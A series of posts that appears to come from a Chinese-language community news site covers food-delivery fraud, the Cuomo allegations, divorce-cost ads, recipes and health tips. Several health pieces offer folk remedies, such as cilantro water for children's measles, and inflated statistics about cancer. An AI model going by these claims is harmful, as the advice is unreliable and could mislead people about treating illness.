对这家餐馆打击最大的一次欺诈发生在去年11月份。据洛杉矶时报报道,一位伪装成顾客的欺诈者,通过Tock外卖平台下单,总值728.26美元。接到这个大单,老板很兴奋,选了上等食材,花费几个小时,终于做好并发了出去。但一周之后,外卖平台发来信息说,这个订单有争议。因为信用卡主人说:他的卡被盗用了。已经上账到餐馆的这笔钱立即被收回。老板赶紧和信用卡公司联系,提供了顾客的订单信息和信用卡照片,她认为证据确凿,但足足等了2个月,信用卡公司还是让她自己承担损失。
吃亏之后,她改进取餐方式:要求每位顾客在刷卡时都要出示驾照,每次提货有录像,还给每个订单拍照。但是,她好像被犯罪分子盯上了,抵挡不住的欺诈继续出现。今年2月份,她只好关门。
疫情期间,使用外卖软件点餐的人很多。有些人就利用伪造或者窃取的信用卡支付订单。刷卡时,可以通过,但过了几天或一周,就有人投诉说,他的信用卡被非法盗用。信用卡公司一般向着顾客,只要投诉,就会取消付款,损失的痛苦只让餐馆独自承受。

友好欺诈,反复整你不商量

也有一些顾客,利用Uber Eats,DoordDash或Grubhub 等平台订餐,但在司机送达后,却说未收到食品。平台想了很多办法,比如,让司机每单送达后拍照存档。但总有不需拍照的时候,比如顾客亲手接单;还可能放到了错误的地方,拍照也没用。因此,丢单问题还是有。
一位司机给CVS员工送餐的司机,就遇到过这类投诉。顾客说未收到东西,导致司机的账户被停,无法继续做外卖工作。如果顾客说没收到,快递平台一般都会返还资金或给其信用。
洛杉矶地区另一家泰国餐馆也遇到类似情形。这家老板注意到一种异常情况持续了2个多月:越来越多的人声称订单丢失,没收到食物,要求第三方外卖平台返还资金。她最大的一笔损失是140美元。去年她损失了数千美元。
在五花八门的欺诈中,这种被称为“友好欺诈”的方式最隐蔽、最难对付。其作案模式是:收到食物的顾客打电话说没收到,或者说食物残缺不全。信用卡公司或者外卖平台会要求餐馆退款。造成的结果是那些尝到甜头的所谓顾客,会反复利用这种对“顾客友好”的把戏,来获得免费的东西。

社交平台,成为骗子的欺诈工具

很多诈骗是通过Telegram等社交平台实施的。
骗子是这样做的:首先,混到一些Telegram群组里面,发出信息,宣传能买到折扣幅度超过一半的食品。
一些贪便宜的顾客直接留言联系骗子,按照要求把自己从平台上的购物截图和送货地址,发给欺诈者。欺诈者确认信息后,然后,用购物车里面的食物给餐馆下单。一旦骗子接到订单,就要求订餐者以比特币,以太币,或者信用卡,现金软件给骗子付钱。
随后,骗子们或者建立一个新的账户,用另一个被盗用的信用卡信息,或者绑架一个曾被黑客攻击过的账户,来支付餐费,并将其发送到餐厅。餐厅发货,但是随后,有人称信用卡被盗,并要求返还资金。
骗子抓住了信用卡公司的弱点。因为,信用卡公司总是向着消费者,会要求商家无条件退款,而且,商家还可能面临高额罚款。
出现争议的订单,无疑多与这种方式有关。但很多顾客可能因为心虚,不对餐馆老板说出真相。如果遇到这种情况,餐馆老板最好询问其是否使用了社交平台,就可能快速发现真相。

当心越来越多的骗子

一般来说,食品快递行业不是实施网络欺诈的理想对象。因为平台会限制资金返还的数量。欺诈者也会觉得食品太便宜,不值得为此大费心思。他们似乎更应该关注那些赚钱更多的行业。
但是,因为餐馆和食品店不像其他其他行业,对网络欺诈有一定的防御能力,他们往往没有精力、能力来防御欺诈攻击。欺诈者认识到这一点,因此就肆意攻击这个薄弱的行业。
加上网络时代每天都有大量的隐私数据被泄露到暗网市场。专业欺诈者正是借这些东西横行无忌。他们把那些提供全方位线上服务,却对网络安全知之甚少的餐馆,当成练习欺诈游戏的最佳平台。
据Forter’s Fraud Attack Index上的信息,去年欺诈数量增加了13%,但其中的食品和饮料行业欺诈率却增长了60%,高于平均欺诈率4倍。
欺诈率增加,与利用智能手机点餐的用户数量大幅增加也相关。通过外卖平台点餐的客户从疫情前2019年的3,640万人,已经增加到4,560万人。
虽然商家无法阻止欺诈者在社交应用程序中营销其服务,但他们可以通过与外卖平台协商,提出更苛刻的防护措施来保护自己,防御恶意顾客,并减少与合法客户的摩擦。比如,可能需要建立“黑白”名单,对客户做分类服务,对那些忠实的值得信赖的顾客,给与更多优惠,而对那些曾经吃过霸王餐的人,拒绝给其服务。

2021-03-12 / by / in
第6位女性指控州长 涟漪效应,库默能否撑得住?

【金牌讯】本周三(3月10日)第6位女性匿名对纽约州州长库默,提出更严重的性骚扰指控,让库默似乎陷入一个打开的潘多拉魔盒。有关他不当行为的指控,显出一波更比一波猛的势头。
据奥尔巴尼联合时报报道,这位女性称库默不经她的同意触摸了她衬衫以下的部分。当时,这位女士被叫入州长大厦,协助州长解决有关他手机的一个小技术问题。
上周,库默召开新闻发布会,否认他曾经不正当的接触任何人。但同时也道歉说:了解到他的行为方式令一些人感到不适,但他不是有意为之,愿意道歉。但这次站出来的女性似乎证明州长对不当行为的认知,显然非同一般。
库默的解释令人感到坐实了指控:既然没有不当行为,那为何要道歉呢?一个年过6旬的州长,难道还不知道把手伸进一位女士的衬衣以下不是恰当的行为吗?另外,接连出现6位女性指控他,令人遐想:还会不会有第7位,第8位,甚至更多人站出来呢?一次偶然的州长大厦之旅,就让一位女子感到被摸的恐惧,那其他长年在州府工作的女性又会有怎样一种工作体验呢?
州长的性骚扰丑闻被炒得沸沸扬扬,被媒体穷追不舍。现在,纽约州总检察长任命了两位律师调查此事。第6位女士虽然还未对州长办公室提出正式投诉 ,但其报告已交给州法律顾问。
目前,这一事件甚至已经影响了州政府职员的注意力。州议会的议员们也看到了这一点:如果这个势头不纠正,看来,不论纽约州政府今后做了什么好事,都难以再获关注,因为全美的吃瓜群众一场戏还没看完,他们需要一个完美的结局。
因此,纽约州议员多数的领袖Andrea Stewart-Cousin站出来说:每天都会有无关政府事务的报道,我们需要不受干扰的工作。为了纽约州的利益,州长应该辞职。另外,昔日和他一起对抗川普的“战友”纽约市长白思豪,还有59位议员也加入了督促库默辞职的阵营。
几位数年前曾经历过其他人性骚扰的州政府女职员,也在今日美国上发评论怼库默。她们认为,对库默的多项指控必须调查,对工作人员的安全和尊严,不能妥协。
她们还进一步揭露说,州政府奥尔巴尼的性骚扰是一个公开的秘密。
这个现在被公开的秘密,也许可以解释州长库默的一而再再而三的大胆行为:这些实施性骚扰的人,并不是说待在真空中,确实有一个鼓励和促成性骚扰行为的网络,在后面鼓动和保护他们。
这几位女士说:从州府的资深工作人员,到这个特殊的系统,允许这种滥权行为几十年来不受审查。因此,她们要求,不只要调查库默,还要调查州府中性骚扰行为的促成因素,不能再允许系统的失败制造出更多的受害者。
不好的事似乎越来越多。看来,库默不辞职,难以收场。

2021-03-12 / by / in
香菜也是中药材!煮水喝竟有神奇功效 (视频)

香菜也是中药材/香菜

地中海沿岸和中亚是香菜原产地区,香菜也叫芫荽, 中医认为香菜性温味甘,内含多种维生素,还能健胃消食。

而且香菜也是我们日常烹饪中经常要用到的一种香料。无论是做汤,卤面,或者做素丸子等各式各样的料理中,都会看到它的身影。它独特的浓厚气味能使我们烹饪的美食瞬间增色。

很多人只知道香菜是一种做饭时提味的香料,却不知香菜还是一种中药材,可用来发疹,消食开胃 止痛解毒等等。明代著名医学家李时珍在《本草纲目》中说“芫荽性味辛温香窜,内通心脾,外达四肢”。能癖一切不正之气,故痘疮出不爽者能发之”。

由此可见香菜可以帮助患有麻疹,出水痘发不透的孩子加速痘疹透发出来。不仅如此,香菜还具有散寒,健脾化痰等功效。

治麻疹:如果麻疹,水痘透发不畅,可以用芫荽30-50克煮水,开锅后继续煮5分钟,然后加入饴糖喝,或者用香菜水擦身能加速痘疹透法出来。

治风寒感冒:用香菜50克加水煮开后继续煮5分钟然后加饴糖服下,可以发表散寒。

健脾化痰:如果有寒痰冷饮和食积瘀血停滞在肠胃,日常吃香菜可以消食下气,醒脾调中。把芫荽和橘子皮,生姜,粳米熬粥,可以散寒之痛 健脾消食的功效。

治胃痛:鲜香菜50~80克,加水煮水喝,煮好后加饴糖连服7天。

具体内容请观看中医世家出身的荣大夫为大家详细讲解的香菜的中医功效和患有不同病症时如何利用香菜来帮助我们的身体调理恢复。

2021-03-12 / by / in
当下官方提醒:它是一级致癌物!还能不能吃?答案来了

咸鱼怎么吃/1类致癌物质/中式咸鱼/咸鱼翻身

提前咸鱼大家都不陌生,是好多家庭喜欢的一种常见食物,咸鱼作为“重口味”也是下饭的好帮手,特别在新年期间更是众多家庭餐桌上一道必不可少的大菜之一。

但近日,在国家食药监总局发布的官方版“致癌物”清单中,“Chinese-style中国式咸鱼”竟赫然在列,它位列于第1类致癌物,编号为96号。其实,中国传统制法的咸鱼并非首次上榜,早在2012年它就已经被确定为一类致癌物。

那么,咸鱼致癌,你还敢吃吗?到底还能不能吃?应该怎么吃?难道咸鱼真的再也翻不了身了吗?今天我们就来好好说一说。

什么是1类致癌物质?

目前公布的致癌物质分为1~4类,他们分别对应:肯定致癌、较有可能致癌、尚不清楚是否致癌、基本不致癌。

与咸鱼一同被列为1类致癌物质的,还有大家所熟知的X射线、苯并芘、黄曲霉毒素等强致癌物质,这令许多人闻之变色。

事实上,1类致癌物质指的是确认含有会引发癌症的物质,并不是食用了这类物质就肯定得癌,这里的“肯定”指的只是这类物质致癌的证据更确凿而已。

为何中式咸鱼致癌?

在清单中,咸鱼被特别标注为“中国式咸鱼”,那么什么是中国式咸鱼呢?

中国式咸鱼指平常大家吃的那种以盐腌制并加以暴晒制成的咸鱼。咸鱼致癌,其实本非咸鱼的过错。

咸鱼在制备过程中,经过高浓度的盐腌渍,从而使得鱼肉脱水。在这一过程中,生成了许多亚硝酸盐类物质,这些物质在人体胃中的酸性环境中会转变为具有强致癌性的亚硝胺类物质,如亚硝基二甲胺。这些物质,才是中式咸鱼致癌的罪魁祸首。


咸鱼致癌,其实本非咸鱼的过错。 

咸鱼还能吃吗?

正如之前提到的,1类致癌指的是有更多证据证明能致癌,​​并不是吃了就会致癌。吃了清单中的食物不一定就会患上癌症,完全不吃也不一定能幸免。

总体来说,癌症是遗传、生活方式、饮食习惯等各种因素综合作用的结果。因此,只要科学合理地食用,咸鱼仍旧能成为我们餐桌上的美食。

吃多少?

对于一般人而言,1个月内吃2-3次,每次吃1小条咸鱼,不会对身体造成影响。但对于家里有肠道、鼻咽癌病史或身处于这类癌症高发地区的人而言,其机体对亚硝酸盐类物质更敏感,患癌的几率也相对更高,建议这类人酌情少吃咸鱼或者干脆不吃咸鱼。

什么时候吃?

一般情况,咸鱼中的亚硝酸盐含量在盐渍后的一个礼拜达到顶峰,在2-3个礼拜后,其含量逐渐减少,达到人体可以耐受的量。

因此,将咸鱼盐渍2-3个礼拜后再食用最为稳妥。若咸鱼来源于市场购买,无法分辨其盐渍时间,我们也建议您将其放置2个礼拜后再吃,可以最大程度地减少亚硝酸盐摄入。

怎么吃?

在烹饪咸鱼前,将其先用水焯过或蒸制后,沥去汤汁,再进行烹制,可以除去其中的一大部分亚硝酸盐。

在吃咸鱼的同时,还可以多吃一些富含膳食纤维的蔬菜,如青菜、芹菜。膳食纤维可以促进人体排便,从而减少人体对咸鱼中亚硝酸盐的吸收。

此外,咸鱼爱好者平时可以多吃些猕猴桃、柠檬、青椒,这些物质含有丰富的维生素C,它是很好的亚硝酸盐还原剂,能将其还原成无致癌性的硝酸盐。

同时,也要提示大家,与咸鱼类似的高盐腌渍食物,如咸菜、咸肉、酱鸭等,同样含有亚硝酸盐类物质,大家在食用时也要注意控制摄入量。


吃咸鱼的同时多吃蔬菜水果 

我们面对致癌物质,我们如何应对?

致癌物质清单一出,大家都对此产生了很大担忧。在这里告诉大家,其实面对致癌物质,我们不必谈癌色变。

1.有的致癌物如烟、酒,他们有明确的证据显示致癌,且具有成瘾性,我们应尽量避免。

2.有的致癌物如X光,我们要权衡利弊。尽管它也有明确的致癌性,但在生病了的情况需要下,该照的还得照。

3.有的致癌物如咸鱼、烧烤,我们需要控制它的量。只要少量少次地食用,不会对身体产生什么影响。

2021-03-12 / by / in
离婚:好聚好散,才能省钱。(美国离婚费用,中华离婚律师楼推荐)

离婚好聚好散,才能省钱

地址 136-20 38th Ave Suite 9I, Queens, NY 11354
电话号码(646) 248-2037
网站:https://nychineselawyer.com

【金牌网】人们总想追求更好的生活,成为一些夫妻离婚的原因。但巨额的离婚费用,往往让一些陷入离婚情感困境的家庭,经济上也雪上加霜。

国家健康统计中心National Center for Health Statistics)的数据,美国各州平均离婚费用从8,400-17,500美元之间其中,平均离婚律师费超过12,800美元每小时律师费250美元,但每个案件当事人可与律师协商具体的付费标准,毕竟律师的资历和经验都会影响收费标准。

其实,影响离婚成本的因素很多。离婚费用通常很高,但也要看每个案件的具体情况。如果双方能协商好,可省下来不少费用。

比如,如果有财产或子女的通常要付出更多离婚费用一般生活本越的地方,离婚费用越是,当事人双方如果能够达成一致,选择合作离婚律师充当调解人帮助夫妇解决争议去上庭,费用就会降低很多。雇佣调解人一般费用约为970美元。

如果案情复杂,双方互撕,会导致费用急速上升。无重大争议的离婚费用平均为一般为4,100美元,有子女需要抚养有争议的,以及需要赡养费的,会明显提高费用。需要法庭2以上问题做裁决平均支出为23,300美元。比如,如果伴侣隐藏财产,需要雇佣法务会计师来帮助导致增加数千美元甚至更多支出。

因此,即使离婚,如果能做到好聚好散,也可以省下来一笔可观的费用。双方商量好,除非必要,不要等到上庭来解决。

当然,这只是对一般的家庭而言。对于那些经济上比较宽裕的人士,这些省钱的建议就完全没有必要了。就像Amazon创始人贝佐斯,离婚之后,他的太太分到600多亿美元财产,随后,大笔一挥,捐40亿美元。

相比之下,律师费用那点开支在他们眼里应该是不值一提吧?

参考:Martindale Nolo Research’s 估算的2015平均全美离婚费用

 

有子女平均离婚费

无子女平均离婚费

平均申请费

加州

最高,26,300

最高,17,500

435

纽约州

第二高,25,600

17,100

210

德拉华州

24,300

16,200

150-160

阿拉巴马州

18,800

12,500

150-300

阿拉斯加

19,600

13,100

150

亚利桑那

19,500

13,000

158-353

阿肯色州

16,700

11,100

130-170

科罗拉多州

21,700

14,500

230

康奈狄格州

23,300

15,500

360

佛罗里达州

20,300

13,500

350-410

乔治亚州

22,000

14,700

150-250

夏威夷州

17,500

11,700

215-265

爱达荷州

16,800

11,200

207

伊利诺伊州

20,700

13,800

210-388

印第安纳州

11,400

130-176

爱荷华州

17,600

11,700

185

堪萨斯州

16,400

10,900

156-197

肯塔基州

15,300

10,200

120-180

路易斯安那州

18,900

12,600

200-450

缅因州

16,700

11,100

120

马里兰州

21,000

14,000

165

麻萨诸塞州

23,900

15,900

200

密西根州

19,400

12,900

150-255

明尼苏达州

21,300

11,400

390-420

密西西比州

16,500

11,000

50-75

密苏里州

20,200

13,500

140-200

蒙大拿州

12,600

最低,8,400

225-250

纳布拉斯加州

15,600

10,400

158

内华达州

20,600

13,700

150-300

新罕布神州

18,500

12,300

250-252

新泽西州

23,400

15,600

300

新墨西哥州

16,000

10,700

135-155

北卡罗莱纳州

19,700

13,100

225-235

北达科塔州

15,600

10,400

80

俄亥俄州

18,800

12,500

175-350

俄克拉荷马州

18,700

12,500

175-250

奥瑞肯州

19,100

12,700

250-400

宾夕法尼亚州

21,500

14,300

150-350

罗德岛州

19,800

13,200

160

南卡罗莱纳州

18,900

12,600

150

南达科塔州

16,300

10,900

95

田纳西州

18,900

12,600

150-378

德克萨斯州

23,500

15,600

250-350

犹他州

19,800

13,200

310-330

佛蒙特州

16,900

11,200

90-295

维吉尼亚州

21,800

14,500

 

华盛顿州

20,100

13,400

314

西维吉尼亚州

15,600

10,400

135-185

威斯康辛州

16,900

11,300

180-220

怀尔明州

17,200

11,400

70

2021-03-11 / by / in ,
没油没烟 茄子料理 茄子不变黑 有技巧!(视频)

无油烟料理/茄子/茄子不变色/妙招

茄子是生活中最普遍的大众菜,也是少有的紫色蔬菜,内含多种维生素钙、磷和铁等矿物质元素,茄子肉质比较软,营养价值也是独一无二,所以深受人们的喜爱。

茄子还被誉为“血管的清道夫”,可使血液中胆固醇水平不致增高,对延缓人体衰老具有积极的意义。茄子可煎、炸、炒、凉拌等,味道都极好。在茄子的所有吃法中,蒸茄子是最健康的。因为茄子的加热时间最短,只需大火蒸熟即可,因此营养损失最少。

食材:

茄子 2条、蒜末2大匙、红辣椒末2大匙、葱花半碗

调味料:

酱油 3大匙、味醂1大匙、白醋 1大匙

做法:

1.茄子切滚刀入干锅,加少许水加盖大火煮至颜色变鲜艳即可取出排盘。

2.调味料酱油 3大匙、味醂1大匙、白醋 1大匙加葱花、蒜末、辣椒末拌匀。

3.等茄子稍凉,食用前淋上酱汁即可,也可以滴上香油增亮提味。

2021-03-11 / by / in ,
离婚率攀升 婚姻也会染疫吗?(离婚律师/美国离婚法律)

离婚率攀升 婚姻也会染疫吗?(离婚律师/美国离婚法律)

疫情,让婚姻变的更不牢靠

【金牌网】新冠疫情,带来的不仅有健康风险,还在全球给众多地区的婚姻亮了红灯。

在封城刚开始的时候,很多通勤上班族可能想:好啊,不用每天把时间花在路上了,在家就能上班,还有更多的时间陪伴家人。家里的人也可能想:现在,伴侣每天都在身边,可以帮我做家务了。但实际结果呢?当温馨的想象碰到冰冷的现实,巨大的反差让一些家庭走向了分裂。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

纽约市中华律师楼王雪洁律师发现:疫情爆发以来,离婚案件暴增。她的事务所忙的不可开交。不仅纽约市,其实在世界各地从中国,到英国、瑞士等地,都出现类似情形。离婚好像在随着疫情的暴增而起舞。

英国的Stewarts律师事务所,去年疫情仍在走向高峰的7-10月份,他们的离婚业务比上一年同期暴增了122%。在美国一家创建法律关系的网站发现疫情期间,他们的离婚合约销售增长了34%

离婚的原因多种多样,但大多还是与疫情有关。婚姻专家警告,目前的离婚率似乎还没有到高潮。

BBC报道,一对结婚7年的夫妻最近提交了离婚申请。在大流行病危机之前,他们从未讨论离婚问题。在城市封闭之后,他们的关系恶化引发他们婚姻红灯的触发点是:女方要照顾在家的儿子,以及帮助照顾一个亲戚的孩子。另外,女方以前有健康问题,为避免感染,他们决定分房而居。在家上班的男方感到积累了越来越多的压力,同时认为女方忽视了他。他们讨论决定分居。

肺炎流行期间,许多事通过网上让离婚也变的更容易,更省钱。Stewart Law Group的律师 Jenny Mihalovich说,过去办理离婚业务,带律师上庭,来回花一两个小时,占用客户大量精力和时间现在在家里就可以舒舒服服的做这些事,穿商务装泊车或请假。

不过,确实一些离婚率下降了。与上年同期相比,俄勒冈州,离婚率从去年3月份到去年底,下降了24%,结婚率下降了16%。佛罗里达州同期离婚率下降了20%结婚下降了27%分析认为,这可能与疫情早期法庭受到的限制有关。也一些原本陷入情感危机的夫妻,虽然感情可能出现裂痕,但考虑到工作时间减少财务限制以及担心房屋价格等各种因素,在一起吧!毕竟,离婚的费用,确实是一笔不菲的开支

Martindale NOlo Research’s 2015上发表的一项离婚研究发现,每个州的平均离婚费用,从最少$8,400——$17,500美元不等。整个离婚过程中平均律师费用高达$12,800,每小时的费用为$250如果双方争执不下,会导致不常见的甚至极端的条款将会使离婚过程更加昂贵。因为无力承担这笔费用,许多夫妻选择分居,还保持着合法的婚姻关系。

纽约州

加州

无子女平均离婚费用

$17,100 (第二高)

$17,500 最高

有子女平均离婚成本

$25,600 (第二高)

$26,300 最高

平均离婚申请费用

$210

$435

生活成本高于全美平均

15.8%

14.8%

中位家庭收入

$67,844

$75,277

离婚人口比例

8.8% (第二低)

9.2%

注:总体生活成本来自于the Bureau of Economic Analysis 2017年数据。离婚人口数据来自于U.S. Census Bureaus American Community Survey15岁及以上人口离婚率来自于the Centers for Disease Control and Prevention

在纽约州,离婚总体上比以前更容易。王雪洁律师介绍只要双方婚姻相处达到六个月以上,出现感情破裂的,就可以申请离婚。只要条件符合,离婚可以单方面进行,对方或配偶无法阻止。在任何一方提出离婚或待审阶段,双方可以一起生活和同居。如果找不到对方可以申请失踪离婚。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

2021-03-11 / 2 Comments / by / in , , ,
这个习惯竟然把人推向癌症的深渊!

癌症/不得癌/建议/趁热吃/吃太烫/毁胃/毁食道

不正确的饮食会给身体带来危害,特别一些人喜欢吃很热的食物,就像中国人在饭桌上最常说的一句关心的话趁热吃。可是谁都没有想到看似好心的话,竟然是变相害人的杀手,为什么这样说一起往下看。

据大陆报道,江苏南京的老王2年前查出了食道癌,当时他非常郁闷,自己一辈子勤勤恳恳,没有什么不良嗜好,从来不抽烟不喝酒,就连熬夜也很少,怎么就得了食道癌呢…医生后来发现,老王有个致命的生活习惯,喝烫汤!

老王说从小家人就给吃热的喝热的,他每天早晨要喝热的稀饭,每天晚上,他要喝烫的汤。汤基本上是滚烫滚烫的,一烧开就喝。要是稍微温一些,自己就觉得不舒服。老王癌症的元凶,竟然是吃太烫!这样血淋淋的教训数不胜数,长沙58岁厨师患上舌癌,由于职业需要,黄先生经常需要给刚出锅很烫的食物进行试味…


鸡汤 

“趁热吃”毁胃毁食道

千百年来的“趁热吃”怎么就成致癌的元凶的呢?有人会说,趁热喝一碗热气腾腾的羊肉汤,补身又暖身,冬天吃火锅是多么酣畅淋漓的一件事,刚刚冲泡好的热茶,散发着沁人肺腑的茶香,趁热饮下,难道不健康吗?

喝羊肉汤、喝养生茶这些自然是好的,问题就出在这个“烫”字,吃饭也好、喝汤喝水也好,都不宜过烫。口腔、食道、胃部的黏膜,都要跟着遭殃!反复烫伤可构成黏膜浅表溃疡,招致慢性口腔黏膜炎、食管炎、萎缩性胃炎等病症,长此以往,就会诱发黏膜质的变化,以致癌变。

01 食道癌

食道癌成了中国最普遍的四种癌症之一,发病率位居世界首位,与中国人习惯趁热吃的饮食习惯恐怕不无关系。例如,在广东潮汕地区,食道癌高发,食道癌的发病率与死亡率都双高。这恐怕与潮汕地区功夫茶盛行,喝茶讲究要“烫”,脱不了干系。

自吞咽开始,至蠕动波到达食管末端进入胃部,这个过程大约需要9秒钟。 9秒对于我们人体本身的“运行”来说已经相当长了!如果把超过65℃的热食吞下去,这就意味着,每吃一口,我们食道要经过9秒钟被烫的梦魇。食物温度过高,会灼伤食管黏膜并使之坏死,长期下去,可使该部位癌变,导致中国食道癌高发。

02 胃癌

除了食道癌,胃癌也是我国十大高发癌症之一,和趁热吃关系密切!尤其国人爱吃的火锅、麻辣烫等食物,那都不是仅仅65℃了,有不少人习惯夹着滚烫滚烫的食物直接往嘴里送,一次两次我们的胃还可以耐受,但长此以往就可能会发展成胃炎,再不注意就不可避免地成了罹患胃癌的高危人群。

03 食管炎

还有个不得不说的,就是趁热吃对食道的影响!现在生活节奏很快,大家吃饭的速度也“与日俱增”,但这是非常不好的饮食习惯。吃饭过快、趁热吃都会打破食道蠕动的节奏,长此以往易造成胃食管反流病、食管炎等疾病。

长期吃过热的食物,会增加胃癌的发病率。中国人胃癌发病率比西方人高,其中一个原因可能与西方人没有长期吃热食物的习惯有关。

04 胃糜烂

食物“趁热吃”其实并不好,医生介绍人的口腔、食道、胃耐热温度不同:口腔部分耐热温度在65℃至70℃;食道黏膜耐热温度在45℃至50℃;胃黏膜耐热温度在40℃。所以常常会出现入口不烫,却会把食道、胃“烫伤”的情况,造成胃炎、胃糜烂等。

05 已被列入致癌物

世界卫生组织(WHO)下属的国际癌症研究机构发布了最新报告:警告饮用65℃以上的热饮,可能增加罹患食道癌的风险,在此次世卫组织的评估中,非常热的饮料被列入了2A级(很可能致癌)致癌物。

吃太烫对牙龈和牙齿有害处,会引起牙龈溃烂和过敏性牙痛;人体内环境温度超过38.5℃,对人体就造成损伤。如果温度超过50℃,那么就会改变细胞结构。烫食烫饮容易灼伤上消化道黏膜,食物温度过高,会灼伤食管黏膜并使之坏死,长期下去,可使该部癌变。


癌症发病率数据 

不得癌建议

1.热茶热汤要冷点再喝

用那种七八十度水刚泡出来的茶,不要立马就趁热喝下,最好能等上几分钟。心急吃不了热豆腐,心急也喝不了健康的茶水。

2.吃饭要慢慢吃

食物上桌后,别着急着马上吃,最好等一等,以入口不感觉烫为宜,尤其是吃火锅。

3.什么温度最合适

通常来说,当食物温度降低至60度以下时,对于食管的损伤会大大降低。不过吃东西总不能拿个温度计来量吧,咱们用嘴唇感觉有一点点​​温热,但不觉得烫口,也不觉得凉,就是最适合的温度。

这些生活习惯危险!

除了吃太烫,还有些生活习惯也非常致命,不注意的话,癌症极有可能就会找上门,抽烟、喝酒就不用说了,人人都知道。


良好生活习惯 

炒完菜马上就关油烟机→肺癌

菜马上就要出锅了,关火、关抽烟机、盛菜,一系列的动作一气呵成,一道菜宣告完成。然而就是这一随手的习惯,却暗藏“杀机”。如果火特别大,菜烧焦的话,更会引起有害物质释 ,特别是对呼吸系统产生危害,有可能有诱发肺癌的可能。

经常憋尿→膀胱癌

经常憋大小便的,尿液中一般含有一种或几种致癌物质,均能刺激膀胱上皮使其癌变。粪便中的有害物更多,如硫化氢、粪臭素、胆固醇代谢产物和次级胆酸等致癌物,若 经常刺激肠粘膜,也会导致癌变。

憋尿的危害尤其大,如果长期憋尿,即使不患癌症,也会增加患尿毒症的风险。

不爱吃蔬果→多种癌

经常不吃蔬菜水果,会增加患结肠癌的风险。不吃蔬菜会缺乏β-胡萝卜素,肺癌发病率提高7倍;缺乏维生素A,患肺癌、胃癌的可能性很大;叶酸与维生素B2缺乏,也是食管癌高发的重要原因。

熬夜→乳腺癌、前列腺癌

英国科学癌症研究中心的研究称,世界各地1000余名30~50岁的癌症患者中,有99.3%的人常年熬夜,熬夜一方面会造成生物钟紊乱,另一方面,夜间灯光会破坏人体褪黑素形成,而这是保护人体免疫功能的重要一环,缺少它容易让白血病、乳腺癌、前列腺癌等找上门来。专家建议,中老年人尽量在10点前入睡。

管不住嘴→13种癌症

30岁以后,新陈代谢减慢,很多人都会有逐渐长胖,若是管不住嘴,任由体重增加,那就危险了。世界卫生组织下属国际癌症研究机构的研究显示,肥胖或超重会增加13种癌症风险,包括子宫癌、乳腺癌、结肠癌、胃癌、肝癌、胆囊癌、胰腺癌、卵巢癌、甲状腺癌、脑膜瘤、多发性骨髓瘤、食道癌和肾癌。

太可怕了,癌症竟潜藏在我们平时的生活习惯里,这篇文章能救命,越多的人看到,就能让越多的人远离癌症,让越多的家庭充满欢笑!

2021-03-11 / by / in ,
最好的长寿药 最佳养生方法都不花一分钱!

生活习惯/生活方式/长寿药/养生方法

每个人都想长寿,他可能是你一生的愿望,今天和你分享不花一分钱的长寿秘方,最好的养生方法。

身体有个小毛病,总是把希望寄托在吃药上面,却从来不想改变自己的生活习惯。

其实很多养生保健“药”,比生病后吃药都更划算,还没一点副作用,重要的是一分钱都不用花!

最好的防癌“药”:走路

“走路可看作治疗症的特效药!”英国慈善组织漫步者协会和麦克米伦癌症援助组织共同指出,如能每天坚持行走1英里,在20分钟内走完,对乳腺癌、前列腺癌、肠癌的治疗都有明显益处,最高可降50%死亡风险。所以走路是防癌的最好方法!

英国慈善组织漫步者协会和麦克米伦癌症援助组织共同指出,如果能每天坚持行走1英里(约1609米),在20分钟内走完,对乳腺癌、前列腺癌、肠癌的治疗都有明显益处,最高可降50%死亡风险。

走路还能减肥、控制血糖、助降压、缓解颈椎痛、护腰、养肺……

最好的长寿“药”:大笑

人参鹿茸?不如一个动作。西班牙《趣味》月刊发表文章称,笑笑更健康。大笑能够使心率加速,为大脑供氧。

芝加哥拉什大学医疗中心研究员丽萨?罗森博格表示,大笑是一种有氧运动,大笑一百次达到的锻炼效果相当于骑15分钟自行车。此外,大笑的健康之处还在于能够使心率加速,为大脑供氧,具有幽默感的人免疫机制更健康,心肌梗死的几率会降低40%左右,平均寿命能够提高4年半。

国家级名老中医、湖南中医药大学第一附属医院黄政德教授介绍,盘坐能够增强心脏功能、促进血液循环。盘坐一阵后,会发觉自己的思虑会放缓下来,能帮助老年朋友镇定情绪,缓和心情,睡不着的时候,可以盘腿而坐来静心。此外,盘腿还有益于预防和治疗关节痛,还能让呼吸系统不受阻,对顺畅呼吸很有帮助。


最好的长寿“药”:大笑 

最好的美容“药”:睡觉

有研究表明,人表皮细胞新陈代谢最活跃的时间是22时至次日凌晨2时。

这就是我们常说的“美容觉”最佳时段,如果在这个时间段能保证良好的睡眠,就可以加快皮肤新陈代谢,延缓皮肤衰老。

反之,熬夜会影响细胞再生速度,缩短皮肤细胞寿命,导致肌肤老化。

不过,真正的“睡美人”不是靠一两次“美容觉”补出来的,只有作息有序才能拥有高质量的睡眠。切记,23点前要睡觉。

最好的防痴呆“药”:勤读书

多项研究表明,教育程度越低的人,未来发生痴呆的风险也越高,而良好的教育,能显着降低未来痴呆的发生风险。因此从儿童时期就进行良好的教育,有助于防止将来发生痴呆。

如果老年也保持着学习的习惯,可极大地保护自身的认知功能。所以,多看书看报,每天努力记住一些新近发生的事情或学习到的新知识,让大脑始终都处于运动和学习的状态中是防痴呆的最好方法。

最好的补钙“药”:晒太阳

老人缺钙怎么办?晒太阳。防脑退化,怎么做?多晒太阳。

英国埃克斯特大学研究显示,缺乏维生素D的老人较一般人患脑退化症的几率高出五成。研究者指出,暴露于阳光下,身体便可吸收维生素D。

总失眠,怎么办?晒太阳。要改善睡眠,就要调整白天与夜间的兴奋度,建议老年人遵循日照节律,白天多晒太阳,提高机体的兴奋度。多晒太阳,百毒不侵。前提是不要过度,老年人晒30分钟左右即可。


多晒太阳补钙 

世上最好的医生:自己

生病靠医生,更要靠自己!很多人都对健康的四大基石了如指掌:合理膳食、适量运动、戒烟限酒、心理平衡。

然而,现实生活中有不少人依旧在不健康的生活方式中“埋头苦干”,吸烟、喝酒、大鱼大肉、通宵熬夜、不锻炼、长期闷闷不乐……

改掉这些坏毛病吧!要记住,最好的医生是自己。此外,生病了不要讳疾忌医,要积极配合治疗。

怎么治怎么防?答案是预防得走在前面。

首先就要对吸烟、酗酒、暴饮暴食、长期熬夜、不重视锻炼等不健康生活方式大声说“不”;

